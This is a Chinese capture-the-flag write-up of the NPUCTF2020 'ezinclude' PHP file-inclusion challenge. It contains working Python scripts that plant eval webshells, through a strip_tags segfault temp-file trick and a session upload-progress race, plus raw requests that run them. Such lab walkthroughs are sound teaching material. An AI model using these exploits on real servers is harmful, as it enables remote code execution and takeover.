[NPUCTF2020]ezinclude

打开源代码,发现

md5($secret.$name)===$pass

所以说,我们尝试一下,传入参数name,发现cookie的值在不断变化,所以,我们可以大胆猜测,cookie中保存的就是md5($secret.$name)的值

所以说,我们将cookie的值通过pass参数传入,就可以进入下一个环节

image-20240616143710342

也就是说我们接下来需要访问flflflflag.php

image-20240616144014780

访问并抓包,发现文件包含,所以我们通过文件包含来查看源码

/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

image-20240616144112477

发现源码

base64解码一下

<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

之后通过目录扫描,发现dir.php

通过文件包含伪协议查看源码

发现了(步骤和之前的一样,就不赘述了)

<?php
var_dump(scandir('/tmp'));
?>

所以我们可以再dir.php中看到tmp里的东西,所以我们的思路就是这么将东西存进tmp里面

方法一:

我们可以使用php7 segment fault特性

php中php://filter的strip_tags过滤器,可以让php执行的时候直接出现Segment Fault,这样就可以保证post上去的文件会保存在系统的缓存目录下不被清楚,这样就可以包含恶意代码

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹

所以我们可以利用url

/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd

去编写脚本

import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://f705b8db-dad4-4b36-b7b7-089b9ca79e4e.node5.buuoj.cn:81//flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)

运行之后访问dir.php,得到目录上我们上传的文件路径

image-20240616150537876

之后通过bp发送请求

POST /flflflflag.php?file=/tmp/phpTb7EjO HTTP/1.1
Host:f705b8db-dad4-4b36-b7b7-089b9ca79e4e.node5.buuoj.cn:81/
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

cmd=phpinfo();

抓包之后可以在响应中找到flag

方法二:

利用session文件包含,条件竞争得到flag

利用session.upload_progress上传临时文件,包含恶意代码,之后通过包含执行代码,但是当文件上传结束后,php将会立即清空对应session文件中的内容,这就导致我们在包含该session的时候相当于在包含一个空文件,没有包含我们传入的恶意代码。不过,我们只需要条件竞争,赶在文件被清除前利用即可

编写脚本:

import io
import sys
import requests
import threading

host = 'http://003ae9af-2700-4283-99e8-da47b33de836.node4.buuoj.cn:81/flflflflag.php'
sessid = 'feng'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>"},
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
if 'flag{' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)

with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)

之后再发送请求

POST /flflflflag.php?file=shell.php HTTP/1.1
Host: f705b8db-dad4-4b36-b7b7-089b9ca79e4e.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

cmd=phpinfo();

抓包即可查找到flag